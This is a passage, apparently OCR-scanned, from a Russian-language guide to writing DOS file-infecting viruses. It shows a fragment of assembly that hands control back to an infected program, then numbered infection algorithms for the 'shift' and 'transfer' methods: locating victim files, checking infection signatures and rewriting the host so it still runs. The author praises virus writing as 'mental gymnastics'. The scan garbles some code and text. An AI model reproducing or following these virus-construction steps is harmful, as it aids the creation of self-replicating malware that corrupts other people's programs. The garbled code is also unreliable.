:Установим первоначальный указатель (смещение) стека 

db @mov_sp
OldSP dw ? 

; Разрешим прерывания - опасный участок пройден
sti 



[Подготовим значения в стеке для команды IRET
RetEntryPoint: 

pushf 

рассчитаем сегмент для кода по аналогии с сегментом стека 

mov ax.DATASEG 

add ax,10h 

db @add_ax
OldCS dw ? 

;Сохраним в стеке полученное значение (PSP+Wh+OldCS)
push ax 

;Сохраним в стеке смещение исходной точки входа 

db @mov_ax
OldIP dw ? 

push ax 

.Запустим программу. В стеке находятся смещение
;точки входа, сегмент точки входа и флаги
iret 

Внедрение способом сдвига 

Инфицируемая программа размещается в файле после кода вируса,
сдвигаясь на его длину, отсюда и название метода. Алгоритм работы
вируса следующий: 

1. Открыть файл, из которого получено управление. 

2. Считать в буфер тело вируса. 

3. Закрыть файл. 

4. Найти файл-жертву (для данного типа вирусов лучше СОМ-файл,
но можно и не слишком большой ЕХЕ - это связано с тем, что все
тело инфицируемой программы считывается в память и ее может не
хватить, если эта программа слишком большая). 

5. Открыть файл-жертву. 

6. Проверить файл на повторное заражение (здесь могут быть вариан-
ты, но чаще всего используется сигнатура). 

7. Если файл уже инфицирован, перейти к пункту 3. 

8. Считать в буфер все тело программы. 

9. Записать в начало файла тело вируса из буфера. 



10. Дописать в файл после тела вируса тело программы из буфера.
Длина программы увеличивается на длину вируса. 

11. Закрыть файл-жертву. 

12. Открыть файл, из которого стартовали. 

13. Считать в буфер тело инфицированной программы, расположенное
в файле после тела вируса. 

14. Создать на диске временный файл с расширением СОМ или ЕХЕ
(в зависимости от того, какой тип программ заражается). 

15. Записать в этот файл тело программы из буфера. 

16. Закрыть созданный файл. 

17. Процедурой Ехес запустить созданный файл на исполнение -
выполнится инфицированная программа. 

18. После завершения работы программы созданный файл удалить. 

19. Вернуть управление в DOS. 

Вирусы - это хорошая гимнастика для ума, хотя многие думают, что
написать вирус на языке высокого уровня весьма трудно. Это не совсем
так. Писать на языке Pascal довольно легко, правда величина получен-
ного кода вызывает благоговейный трепет. 

Внедрение способом переноса 

Вирусы данного типа размножаются следующим образом. Из инфициру-
емой программы от начала файла считывается часть кода, по длине рав-
ная длине вируса. На освободившееся место вписывается вирус,
а оригинальное начало программы переносится в конец файла. Отсюда
и название метода - "метод переноса". Есть и другие варианты. Иногда,
например, начало программы записывается в середину файла, а середина
переносится в конец, чтобы еще сильнее все запутать. Превосходство дан-
ного метода над другими описанными в том, что инфицированная про-
грамма исполняется в том же виде, в каком она была до заражения,
из файла с тем же именем и расширением. То есть программы, проверя-
ющие себя на предмет заражения вирусом, его не замечают. Корректно
исполняются и такие программы, которые ищут свои файлы конфигура-
ции с именами: 

ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI 

Недостаток данного метода проявляется при сбоях в работе компьюте-
ра. Если при исполнении инфицированной программы компьютер
"повиснет" или произойдет перезагрузка системы, инфицированная 



программа окажется "чистой", то есть без вируса. Но, во-первых, "кто
не рискует, тот не пьет шампанского", а во-вторых, программы виснут
редко. Алгоритм работы такого вируса следующий: 

1. Открыть файл, из которого получено управление. 

2. Считать в буфер тело вируса. 

3. Закрыть файл. 

4. Найти файл-жертву. 

5. Открыть файл-жертву. 

6. Проверить файл на повторное заражение (здесь могут быть вариан-
ты, но чаще всего используется сигнатура). 

7. Если файл уже инфицирован, перейти к пункту 3. 

8. Считать в буфер из начала найденного файла фрагмент программы,
по длине равный телу вируса. 

9. Записать в начало файла тело вируса из буфера. 

10. Дописать в конец файла считанное начало программы из буфера.
Длина программы увеличилась на длину вируса. 

11. Закрыть файл-жертву. 

12. Открыть файл, из которого стартовали. 

13. Считать в буфер начало инфицированной программы, расположен-
ное в конце файла. 

14. Записать считанное начало программы поверх кода вируса в начало
файла. 

15. Сократить файл до его оригинальной длины (то есть удалить часть
кода, по длине равную длине тела вируса, в конце файла). 

16. Закрыть файл. 

17. Процедурой Ехес запустить стартовый файл (ParamStr(O)) на ис-
полнение - выполнится инфицированная программа. 

18. После завершения работы программы опять открыть стартовый
файл. 

19. Записать в начало файла тело вируса, а оригинальное начало про-
граммы опять переместить в конец файла. 

20. Закрыть файл. 

21. Вернуть управление в DOS.